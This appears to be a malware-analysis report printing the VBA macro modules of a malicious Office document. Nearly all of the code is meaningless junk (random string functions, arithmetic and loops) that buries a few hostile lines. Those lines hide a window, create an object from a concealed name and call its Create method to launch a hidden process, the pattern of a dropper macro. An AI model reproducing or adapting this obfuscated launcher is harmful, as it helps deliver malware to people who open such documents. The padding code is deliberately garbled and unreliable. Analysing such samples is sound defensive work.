    VZhPDtlLCzcD = Right("nzvMDk ", 5)
    EzabcQ = Left("VyVW_NI.", 3) + LTrim("UB[!t! gA KW")
    CJvDsHg = RTrim(")e? -KV jZ ^ U &! ") + StrReverse("Er]_Ks  ?czQBDc  jG")
    afeSVypFJR = LTrim("[  . [jJ[ @f  VLm")
    

    BjazuJXF = 82 - 11
    uxLNIXUZ = UCase("   E Re") + RTrim("Jr    &")
    While eHvAFO < 4
        For pjbxce = 2 To 7
            IcWHOZEaBd = RTrim("Ni Ay@") + UCase("Or  M X   %")
            VZhPDtlLCzcD = RTrim("aHc p Jx WaKX # ^Y") + StrReverse("B &[ P")
            UHGRb = LTrim(" [GrL")
        Next pjbxce

        wetFsRZ = Left("aRnFS%t%T", 5) + LTrim(" $S&jecHx z")
        cUubGLjbJOqD = Left("hyDqhMi   o   Lp? ", 4) + LTrim(" vgF)  Jx  zGbq@s")
        

        eHvAFO = eHvAFO + 3
    Wend

    DyMVUkIeED = UCase("Q E N p HC") + RTrim(" Q#u^kNO  YdS  ")
    YJHtgOC = 82 + 78 + 72 + 61 + 4 + 28
    DyMVUkIeED = 58 + 96 + 64 + 7 + 35 + 43
    pCvNerJNoWlH = Space(3) + Left("o jW !P.gU ", 4)
    kPdEdr = UCase(" F ^$Q P KvH A x_") + RTrim(" NZ & T !Vy hA(")
    For mvKXrD = 2 To 5
        LPFvy = RTrim("I (#oyenYlwv zk]") + UCase("oC  pkZE ")
        IGNvPxz = LTrim("CT&zB  ")
        YJHtgOC = Left("l%Px p^sZ zj[ O  ", 4) + LTrim("eds  &xly i^aF %")
        uyOWpo = Left(" qml i]Mi UzAWRIWzBN", 2) + LTrim("lOaHa  Y $ W  Xoq p")
    Next mvKXrD

    vgcQjp.ShowWindow = 89 - 89
    

    YEuxKLi = 0 + 54 + 18
    dMmuTV = Right("i Nk!  KuQ", 5)
    CvwMvD = Space(7) + Left("]g]-  f", 2)
    afeSVypFJR = Right("#NRi ^hqj pCt", 4)
    pCvNerJNoWlH = RTrim("@ p! MYkB]vvcDCQ") + StrReverse("EQ nkuw.")
    IGNvPxz = Right("L Epg sEqUvZN $( ", 5)
    For MXWXnv = 2 To 3
        While sRfvrR < 2
            uxLNIXUZ = RTrim("UAg __d#?") + UCase("C_ Ed]GBUqhz VKzRGm ")
            cNVfXF = RTrim("PU oS  NPjkh  p Jb ") + StrReverse("] Jc%Usz.jy  o")
            GfCepJLtbOg = 51 + 21 + 27
            IcWHOZEaBd = 18 + 90 + 3 + 81 + 79
            dXSgAftLnfYn = 83 - 67 - 3 - 28
            sRfvrR = sRfvrR + 2
        Wend

        dXSgAftLnfYn = LTrim("kW Ix  YOXc& OFDiN ")
        IGNvPxz = LTrim("m_ Bj jUPAv.  li   ")
        CJvDsHg = 15 - 38
        JoqWg = LTrim("  QU!")
        DLoodKGVTiS = LTrim("VRJ M-) s")
    Next MXWXnv

    CJvDsHg = UCase("Bi(H XjYQ]p") + RTrim("]x$ Ov- iENZzN  fi  ")
    LPFvy = Left("$aGz  (-@L#l ", 4) + LTrim("xsj  gLRZhAl   ")
    YJHtgOC = RTrim("TozNOweaGd") + UCase(" oXOK  vj")
    

    EeLRD = Left(" DQ a RVYq @]iS", 5) + LTrim(" g N)^vn j uzx")
    piUZjOOUIq = Right("O_. J.rw) qFCQ Z", 2)
    DLoodKGVTiS = Right("Ao#S  ! w", 5)
    While gPIkmK < 4
        cUubGLjbJOqD = Space(14) + Left("q  $^  ", 4)
        IcWHOZEaBd = Right("K XJo[w -    HP z o", 2)
        BjazuJXF = Right("R[SB. D", 2)
        GDcXMlrYGaPp = RTrim("CGD%  [Ob)AZn xPtrB") + UCase("Pxs(tz")
        gPIkmK = gPIkmK + 1
    Wend

    

    GfCepJLtbOg = Space(18) + Left("n#BT_qpK  -_oU I?jY", 2)
    Set HScFRNse = CreateObject(qaLxE)
    For GksCQa = 2 To 4
        For vEUVYX = 2 To 10
            JoqWg = Space(6) + Left("AR   op$  J", 5)
            afeSVypFJR = 79 - 73 - 70 - 78 - 94 - 52
            GDcXMlrYGaPp = RTrim("CyqF-hr(& R$]M") + StrReverse("CDMG%  [n#K")
            YJHtgOC = 73 - 10 - 19 - 52 - 87 - 46
            pCvNerJNoWlH = Space(3) + Left("oS#Fm  $NfP", 2)
        Next vEUVYX

        YJHtgOC = UCase("ZgY f cr JW") + RTrim(" l[%pc[lvXE  ")
        afeSVypFJR = Right("Ev   wr", 5)
        BjazuJXF = RTrim("@JWM  % KJy  F DE") + StrReverse(" ZT TE  AFS d jh")
        kPdEdr = RTrim("ed c Z@ vD.MW") + StrReverse("  w-K(x.")
        bmsWn = 100 - 29 - 21
    Next GksCQa

    pCvNerJNoWlH = LTrim("(P&z _ $-. !Fu ")
    For gqgqFf = 2 To 6
        cNVfXF = LTrim(" aa  QgA X z&^")
        UHGRb = Left("TaMN&Lo", 2) + LTrim("uvn  !CffuUyO#^Cr")
        GDcXMlrYGaPp = 77 + 90 + 31 + 28 + 7 + 51
        EeLRD = UCase("_UBt j ML ECa  __ . ") + RTrim("vF [ ")
        YJHtgOC = 43 - 26 - 3 - 88 - 100 - 17
    Next gqgqFf

    IcWHOZEaBd = 38 - 90 - 75 - 100 - 70
    While HQNCaM < 5
        piUZjOOUIq = Space(18) + Left("(.pR [q -", 4)
        bjkoowYfvQm = RTrim(" qM EV ") + UCase("w]q^ Za %!JdZ t")
        LPFvy = UCase(" Bb S_ ") + RTrim("(Ma(sN%j n")
        piUZjOOUIq = 84 - 28 - 21 - 32 - 5
        uxLNIXUZ = Space(10) + Left("hP$j PCpPT[ ] z%V", 3)
        HQNCaM = HQNCaM + 3
    Wend

    For ggSErK = 2 To 3
        While RoGWoD < 3
            cNVfXF = Space(1) + Left("(]Y%@j", 4)
            UHGRb = 40 + 40
            VZhPDtlLCzcD = 81 - 18
            uxLNIXUZ = 83 + 12 + 73 + 31
            RoGWoD = RoGWoD + 2
        Wend

        dMmuTV = UCase("@c Y F_]l") + RTrim(" KxdrTc^ dRz &v")
        VZhPDtlLCzcD = RTrim("Zn?M_pRdlF^y Z ") + UCase("HIAdsYBi w $")
        LPFvy = Space(10) + Left("i^ J  jgf X  aD) Rqp", 5)
    Next ggSErK

    For mlRveL = 2 To 4
        For RGVfLn = 2 To 9
            VZhPDtlLCzcD = Left("q&XQ] JFHm K Rv Sno", 5) + LTrim("y (Ff@ G _ ")
            pCvNerJNoWlH = 28 + 62 + 33 + 84 + 62
            cNVfXF = 75 + 24 + 54
            EeLRD = 14 - 8 - 97 - 20 - 6
        Next RGVfLn

        IGNvPxz = Left("jofi qUEEF n-t ih SS", 4) + LTrim("gsHZZ  ")
        pCvNerJNoWlH = 46 + 55
        cUubGLjbJOqD = Right(" ?hKx xRz$", 4)
    Next mlRveL

    IGNvPxz = Space(2) + Left(") # ?gM  F O@O#", 3)
    DLoodKGVTiS = Right("!I@X pd(", 5)
    DyMVUkIeED = LTrim(" EV.)PN) # #G).tpUn ")
    afeSVypFJR = RTrim("  s  u@ ]NER ") + UCase("HI]yeF!) pm")
    pCvNerJNoWlH = 93 - 35
    wetFsRZ = RTrim(" [NKnWU") + UCase(")S !m.T  $Sa #")
    IcWHOZEaBd = LTrim("dE-go")
    While LDbeZI < 5
        cNVfXF = UCase("$dWXIVag AC  c]") + RTrim("i^q-Vmn ")
        

        GoXFOcShU = Space(13) + Left("_k   r%.xFHyF] ", 4)
        LDbeZI = LDbeZI + 2
    Wend

    GDcXMlrYGaPp = LTrim("m!kS   q EY")
    uyOWpo = 55 - 11 - 88 - 49 - 23
    afeSVypFJR = 80 - 72
    HScFRNse.Create DUQkq, Null, vgcQjp, xizDpg
    CJvDsHg = Left("MPqO  ^", 4) + LTrim("&($hI !uFPU ka CG[ ")
    LPFvy = Space(3) + Left("jNRqZfAPjhT @D", 4)
    cUubGLjbJOqD = RTrim("zPL .TBoo") + StrReverse("V G-ixe")
    GfCepJLtbOg = LTrim("!Kk   xa]FNw")
    CXknZYaODvM = 20 + 23 + 98
    VZhPDtlLCzcD = RTrim(" xba ") + UCase("  Ne%cb _Xn j^Q ")
    For uOcrSy = 2 To 5
        BjazuJXF = Right(" fX?huY", 4)
        JoqWg = Right("C vxDqmY K % ", 5)
        kPdEdr = LTrim("  Q-] I]IiQL_V")
        dMmuTV = UCase("o#$w_xO[XonwG%#zh qo") + RTrim(" ._Mhm ^zr-  S%")
    Next uOcrSy

    DLoodKGVTiS = 26 + 15 + 58
    For zwKmxb = 2 To 3
        While IfQlDH < 4
            kPdEdr = RTrim("a. H^^") + StrReverse("_ (  ")
            uxLNIXUZ = LTrim("SE ^bBPXr F    QD")
            BjazuJXF = LTrim("s g zXX  l jp cn  .U")
            IfQlDH = IfQlDH + 2
        Wend

        GDcXMlrYGaPp = LTrim(" AZE JPfQrKw")
        pCvNerJNoWlH = RTrim("y@ Yjqsh or  GMD!") + StrReverse("vC[     @")
        

    Next zwKmxb

    While FqUlig < 2
        IGNvPxz = 18 - 34 - 3 - 89 - 40 - 18
        

        piUZjOOUIq = Left("IT w c_(S D& lG", 2) + LTrim(" p $b MpYH )WQLz W")
        piUZjOOUIq = Left("E XQIk  TTw  )l", 3) + LTrim(")JI& F e   kYSB-")
        FqUlig = FqUlig + 3
    Wend



End Sub



Sub uoWstS(SzPyMlB As Integer, sPILHY As Boolean, XKOwWtV As Double, zGqyoW As Double)
    BjazuJXF = LTrim("Kfx&hzyHx m")
    IcWHOZEaBd = RTrim("DPj  ") + StrReverse("Z@@PL t^  ykI c ")
    DLoodKGVTiS = Right("LCaCk!", 3)
    YJHtgOC = Space(17) + Left("b !(d NLVT# jKgKga D", 3)
    dXSgAftLnfYn = RTrim("w[D $u)  ZNEOtDl)d") + UCase("i MU%%fbV)")
    uyOWpo = RTrim("W   ZAnhwsd imN]  B") + UCase("rKflAQ  ")
    bmsWn = RTrim("cQRnv -l  TmO g") + StrReverse(" vbwUJ- t  Kn( UrV ")
    uyOWpo = Right("rtA U  Zf(P iA", 3)
    afeSVypFJR = 16 + 67 + 43 + 96
    dXSgAftLnfYn = Left("F !Uw tY_   O[)a ", 2) + LTrim("vPR) MdG W c [ OQ")
    dMmuTV = RTrim("s !rL^fL)") + StrReverse("p K WFN )$ g_   ?jFF")
    YEuxKLi = UCase(" Oz   cb MUD") + RTrim("g^ QnA ToY  T")
    kPdEdr = 76 + 90 + 7 + 29 + 57 + 34
    IGNvPxz = Right("io L NqZ ", 3)
    YJHtgOC = Left("H FmJpCkZQRG@", 4) + LTrim("T &V)G Q")
    While hgUqEP < 4
        YEuxKLi = 67 + 61 + 87 + 87 + 2
        DyMVUkIeED = 29 + 4 + 73 + 78 + 80 + 45
        YEuxKLi = UCase("  . DK M RvhrVVj-rPw") + RTrim(" wT@D!wnpcb?rM)#")
        hgUqEP = hgUqEP + 3
    Wend

End Sub



Function dxOAKb(zlqdKin As String, dCtTcdz As Integer) As String
    VZhPDtlLCzcD = RTrim("NI aTz  ly M b pk") + UCase("Cj   F")
    YJHtgOC = Right("(aG qXV #J", 5)
    wetFsRZ = Left("  khh -[T GsCT", 4) + LTrim("  d (  b.!]?amgvE")
    cNVfXF = 67 - 37 - 93 - 40 - 80 - 62
    IcWHOZEaBd = Left("C  m ", 3) + LTrim("Q^Pc ZC Yvz ")
    bmsWn = RTrim("JEMYT  X[h C  w^ Otb") + StrReverse("  $v&EtH $EM zoy -t?")
    DyMVUkIeED = Space(8) + Left("Bp)gKrnv mFKp  ?VcB ", 2)
    LPFvy = Right(" MpYJM nt$NoNx kyO", 4)
    IcWHOZEaBd = Left("   o j ", 3) + LTrim("M.q((Vr J  cTdn@  ")
    GoXFOcShU = 10 + 94 + 81 + 13
    uyOWpo = Right(" e  )r NIhfl As", 2)
    For xyjwbB = 2 To 5
        While uTNJoj < 3
            uxLNIXUZ = Left("ZZeI [ H  ", 5) + LTrim("H RM ")
            cNVfXF = 54 + 13 + 22 + 87 + 27
            CvwMvD = UCase("% Tkdy VG NMM m") + RTrim("IJ  B  ybNbo")
            cNVfXF = RTrim("m (b p") + StrReverse("l ABHq^Tp")
            uTNJoj = uTNJoj + 3
        Wend

        CJvDsHg = 25 + 69
        pCvNerJNoWlH = Right(".W  t S !r   z o", 2)
        JoqWg = Space(12) + Left("CN tz UFQTD)", 3)
    Next xyjwbB

    CvwMvD = 13 - 39 - 13
    GoXFOcShU = Space(18) + Left("Z%?s ^t", 2)
    uxLNIXUZ = 28 - 39 - 70 - 32 - 63
    While pOwXdF < 4
        EzabcQ = Left("c#WRt jNZ tfwaVw)", 3) + LTrim("-e&@EBk I .     .(Wp")
        pCvNerJNoWlH = LTrim("VC r #fNu u zFw")
        YJHtgOC = RTrim("sLkvF. M?ujUy") + UCase("  #[_eCU  Rz S@WA WR")
        pOwXdF = pOwXdF + 2
    Wend

    BjazuJXF = 51 + 29
    cNVfXF = 57 - 19
    dxOAKb = "HgyRnIjmnhJHTvYsCp"
End Function



Function xQLJXV(LspSGWV As Integer, FNJahv As Integer, nfjbkXY As Double) As String
    piUZjOOUIq = Space(15) + Left("  W B  ff l. HU ", 4)
    pCvNerJNoWlH = LTrim("]WsDu ?G#cY")
    CXknZYaODvM = Left("UuN D-&   ", 4) + LTrim(" )Uu_^EAP-v")
    GfCepJLtbOg = UCase(" g !ni fE  ]EX_") + RTrim("^ [ w")
    CJvDsHg = Right("r w% tYibB mlL   ]", 3)
    While yfCtPb < 5
        While JuapFX < 5
            IcWHOZEaBd = 36 - 18 - 62
            EzabcQ = Space(14) + Left("uz]$E%I?b [dQ", 2)
            dMmuTV = 35 - 27 - 29 - 77 - 19
            JuapFX = JuapFX + 3
        Wend

        dMmuTV = Space(6) + Left("-? L I r yG ", 4)
        CJvDsHg = RTrim("Zj]XA     ") + UCase("FJN#KmQ")
        JoqWg = RTrim("!X M  ") + StrReverse("cx-If?@-v[ By$ OW")
        

        CvwMvD = RTrim("xtZl  Y  z#E]v") + UCase("abXD HI)cC  a   B")
        yfCtPb = yfCtPb + 2
    Wend

    DLoodKGVTiS = Right("w?QchE  Gj", 5)
    

    IGNvPxz = 45 + 46 + 31 + 17 + 35
    GfCepJLtbOg = Left("IY   s", 2) + LTrim("G     FD (rd")
    cUubGLjbJOqD = Left("  wQ d-S w Tw[ f m", 2) + LTrim("N   _ krU- j yz ct")
    GDcXMlrYGaPp = Left("E jx  HXnDxg- n kU", 4) + LTrim(" Fc  ]C")
    bmsWn = LTrim("[%ohHOy")
    bmsWn = RTrim("j Q Hq  MYdiy") + StrReverse("Sm.&Rd    @  ")
    QNLPG = 71 + 52 + 43 + 90
    dXSgAftLnfYn = RTrim("  leN%WH ao d?Laon") + UCase("kYQz tWN?$")
    UHGRb = 74 - 30
    piUZjOOUIq = Left("#L  . PIK-CI-", 4) + LTrim("ADAeb(N Q)L  q m")
    GDcXMlrYGaPp = UCase("KCj  &SsLETl?d") + RTrim("JBSgjNFR")
    For pJRWYR = 2 To 6
        bmsWn = 66 - 73 - 100 - 67
        cNVfXF = LTrim("@E ]R-w#n WsL")
        bmsWn = RTrim("RIFDv(R ") + StrReverse("#NQTv @ OUH)BIZ ")
    Next pJRWYR

    xQLJXV = "AtIPqsZMnVdWjwqZlFcQ"
End Function



Attribute VB_Name = "Module5"

Sub EsEjpf(CeniuRN As String, zqvADO As Double, VTgRgJf As Double, ViNvDY As Double)
    uxLNIXUZ = 8 - 29 - 69
    While WShIsT < 5
        For TZXpsf = 2 To 6
            

            VZhPDtlLCzcD = RTrim("(  yfE!   $ f%XIqf ") + StrReverse("@ sX   TtuV")
            GoXFOcShU = Space(15) + Left(" &$p   ", 2)
            EzabcQ = RTrim("D aQ$z U C ") + StrReverse(" &s  fD(")
        Next TZXpsf

        pCvNerJNoWlH = RTrim("NU w? w&cwG ]kV(POzD") + UCase("n i  E  RIN]n _  SP")
        dXSgAftLnfYn = Space(1) + Left("^kuCf Qd pcNP wzw_T ", 4)
        kPdEdr = Space(12) + Left("Zcpy !k!wjQ pMl ", 2)
        BjazuJXF = 94 + 87 + 5 + 9 + 74 + 30
        bmsWn = 3 + 61 + 10 + 40 + 41 + 21
        WShIsT = WShIsT + 3
    Wend

    cNVfXF = Right("l gc d  v&eFNd(", 5)
    uxLNIXUZ = LTrim("-RUp -F")
    dMmuTV = RTrim("Uuimf k  r   C   E ") + StrReverse("V^hMjcuD r")
    CJvDsHg = 87 + 22 + 21 + 27 + 66
    BjazuJXF = 41 - 75 - 26 - 42 - 72
    dXSgAftLnfYn = RTrim(". o[qG  jw_WVo ") + UCase("[ ovw E g^_   P MxOJ")
    dXSgAftLnfYn = RTrim(" .p ] % ") + StrReverse("#B$  kW")
    DLoodKGVTiS = 64 + 13 + 33
    bjkoowYfvQm = RTrim("fcq( @ aY W $ Vfc ") + UCase("ZO nbW")
    cUubGLjbJOqD = 3 + 40 + 66
    EeLRD = Left("ys   FKe", 4) + LTrim(")q?I)kBONpoC")
    cUubGLjbJOqD = RTrim("-qajQ%WMFI P BzdM") + StrReverse("QDox K&[mYm ")
    uxLNIXUZ = UCase("Wt!?U v czD f Q  ") + RTrim("Pzrl$ ?    K")
End Sub



Attribute VB_Name = "Module6"

Function JCGsPd(nKkZLo As Integer, tOMxMDP As Boolean, pEouLM As Double) As String
    bjkoowYfvQm = Space(13) + Left("D Lc   kY.[", 2)
    IGNvPxz = Left("-y IiZ ", 5) + LTrim("K_Y y)M dqbYmDf")
    VZhPDtlLCzcD = LTrim(" y  E#  O f &B]O D")
    While jJimGq < 4
        For VsNaqq = 2 To 8
            dXSgAftLnfYn = 66 - 15 - 8
            EeLRD = 71 + 81
            QNLPG = Left("NbSk [  ?AGK u", 3) + LTrim("YIPd )")
            

        Next VsNaqq

        DyMVUkIeED = Left("vY    lYBZHh", 3) + LTrim("  AS)#a ^  _iAo ")
        CJvDsHg = Space(15) + Left("I oWZ &Y  ", 2)
        CJvDsHg = RTrim(" U? Zg$") + StrReverse("nF w t]dw#K Xw")
        GDcXMlrYGaPp = Space(3) + Left("rbHM b", 4)
        

        jJimGq = jJimGq + 3
    Wend

    For atltPY = 2 To 8
        DLoodKGVTiS = RTrim("knMV hut)ZE.X U Dx") + UCase(" g J?Pc  nui qb")
        EeLRD = Left(" pLOa? h   ?", 4) + LTrim(" E&k.m")
        dXSgAftLnfYn = RTrim("mp r s ?Y o.") + StrReverse("O )X   Vw - k")
        

        

    Next atltPY

    CXknZYaODvM = Right("lbyArgR  ayFqWhp(Z ", 5)
    YEuxKLi = LTrim("v  n#yo&lES g & ")
    LPFvy = RTrim("[  oiWV K Zx") + UCase("    Hjsjfx#b")
    cUubGLjbJOqD = Right("J# GOZH(uAM", 5)
    GDcXMlrYGaPp = 50 - 80 - 56 - 30 - 49
    bjkoowYfvQm = LTrim("I qbog!ji Hrf")
    CJvDsHg = Right(" T  m T vX ] xSwj ", 3)
    afeSVypFJR = RTrim("] P[lUQC^g EXB") + StrReverse("kFT?  uL  sA_]k L  ")
    GfCepJLtbOg = RTrim("   @ #z$doD w") + StrReverse("   elD")
    IGNvPxz = 40 + 34 + 21
    While akHlhw < 5
        For ZKUdGy = 2 To 5
            IcWHOZEaBd = 90 + 19 + 14 + 89
            piUZjOOUIq = 58 + 76 + 64
            afeSVypFJR = Space(14) + Left("W^b Q jml  OYyl", 3)
        Next ZKUdGy

        afeSVypFJR = RTrim("]BB! Z&O# fhL i#H(") + StrReverse(" oub!V%")
        bjkoowYfvQm = RTrim("NUr  N ") + StrReverse(" uJtBX   iMup$V")
        bmsWn = 4 + 99 + 100 + 49
        akHlhw = akHlhw + 2
    Wend

    For yumtxz = 2 To 5
        pCvNerJNoWlH = LTrim(" ttVBWCo]!M Un ^")
        CvwMvD = RTrim("miHzem fT$  ") + StrReverse("L]xQfGG  v _#Fk")
        EzabcQ = 24 + 40 + 55
        LPFvy = Space(6) + Left(" nZR  ]Y& RZKn.", 5)
        CvwMvD = RTrim(" mzWAr") + StrReverse(" ADGN B E if pkU M")
    Next yumtxz

    JCGsPd = "BwIwfsJAaTYZGvFjf"
End Function



Function jkKcRn(aHbFcK As Boolean) As String
    afeSVypFJR = LTrim("^)nW p_ j  d a")
    dXSgAftLnfYn = LTrim("Wy&mr@& f")
    dMmuTV = LTrim("   lLsQ  SfTL  smA")
    uyOWpo = RTrim("Iu #  d ") + UCase("E hSCtSB")
    wetFsRZ = UCase("wZQWv  sWdWFz") + RTrim("  Wp [kzp.  jEI r Ic")
    VZhPDtlLCzcD = RTrim("ZB Z%oS om") + UCase("J d-bxZw u%WBAc]Im %")
    YEuxKLi = RTrim(" tfI R  u K)PkH") + StrReverse("T_ H W Z v_")
    GDcXMlrYGaPp = UCase("fCpGSwLQ ") + RTrim("ryo^Re Fu o  @cu%X")
    CvwMvD = Space(15) + Left("Eh JPbtS @&? dNC", 2)
    While YTkjRB < 5
        For rjMSBz = 2 To 10
            YJHtgOC = RTrim(" o?ni") + UCase("nMJde  .i&]k   ")
            

            YEuxKLi = 76 - 37 - 68 - 24 - 11
            cUubGLjbJOqD = RTrim("  vEHo#") + StrReverse("! Dj) ._")
        Next rjMSBz

…

Open this report in the interactive analyzer, or submit your own file for analysis.